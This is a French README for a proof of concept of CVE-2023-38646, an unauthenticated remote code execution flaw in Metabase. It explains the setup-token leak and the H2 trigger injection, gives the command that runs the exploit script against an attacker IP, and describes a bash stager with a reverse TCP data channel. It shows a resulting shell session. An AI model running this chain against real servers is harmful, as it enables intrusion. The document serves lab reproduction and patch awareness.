
Repo contient le PoC et les étapes pour reproduire cve 2023-38646
cd ~/metabase-poc cat > README.md << 'EOF'
Score CVSS 9.8. Les versions de Metabase antérieures à 0.46.6.1 / 1.46.6.1 (ainsi que les branches antérieures équivalentes) exposent une RCE sans authentification via le point de terminaison /api/setup/validate, qui est destiné à valider les détails de connexion à la base de données lors de la configuration initiale, mais qui est accessible sans authentification même après que la configuration soit terminée.
Le point de terminaison accepte une charge utile de connexion à la base de données et, lorsque engine: h2 est spécifié avec une chaîne de connexion JDBC modifiée, permet d'intégrer du JavaScript arbitraire via la syntaxe CREATE TRIGGER ... AS $$//javascript de H2. Le corps du déclencheur s'exécute au moment de la validation, donnant à l'attaquant une exécution JavaScript à l'intérieur de la JVM — ce qui permet trivialement d'escalader vers l'exécution de commandes du système d'exploitation via java.lang.Runtime.getRuntime().exec().
Le problème sous-jacent est que le moteur de base de données H2 fait confiance au code intégré dans la chaîne de connexion dans le cadre de la « validation » d'une source de données, combiné au fait que Metabase expose ce chemin de validation sans authentification.
metabase/metabase:v0.46.6requests, termcolorExécuter Metabase vulnérable :
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
docker logs -f metabase # attendre "Metabase Initialization COMPLETE"
Installer les dépendances de l'exploit :
pip3 install requests termcolor
/api/session/properties divulgue un setup-token censé verrouiller le flux de configuration initiale unique, mais qui reste valide et utilisable même après la fin de la configuration.java.lang.Runtime.getRuntime().exec() pour récupérer un stager bash depuis le serveur HTTP de l'attaquant et rediriger la sortie de la commande vers un écouteur TCP brut, encodée en base64.python3 51797.py -l <attacker_ip> -p 4444 -P 8000 -u http://localhost:3000
-l — IP de rappel de l'attaquant (passerelle du pont Docker lorsque la cible est un conteneur local, par ex. 172.17.0.1)-p — port sur lequel le canal de données inversé se reconnecte-P — port du serveur HTTP local servant le script stager-u — URL de base de la cible MetabaseLance une invite interactive metabase_shell > une fois que le rappel sans authentification confirme l'exploitabilité.
metabase_shell > whoami metabase metabase_shell > id uid=2000(metabase) gid=2000(metabase) groups=2000(metabase),2000(metabase)
Exécution de commandes confirmée en tant que compte de service metabase — sans authentification, aucun identifiant requis. La gravité provient de la RCE accessible depuis le réseau sans aucune authentification, et non du niveau de privilège du shell obtenu.
Corrigé dans Metabase 0.46.6.1 / 1.46.6.1 et versions ultérieures — le point de terminaison /api/setup/validate exige désormais que la configuration soit réellement incomplète, et les jetons de configuration sont invalidés une fois la configuration initiale terminée.
Pour une utilisation en laboratoire isolée uniquement. N'exécutez pas contre des instances Metabase que vous ne possédez pas ou pour lesquelles vous n'avez pas d'autorisation explicite de tester. EOF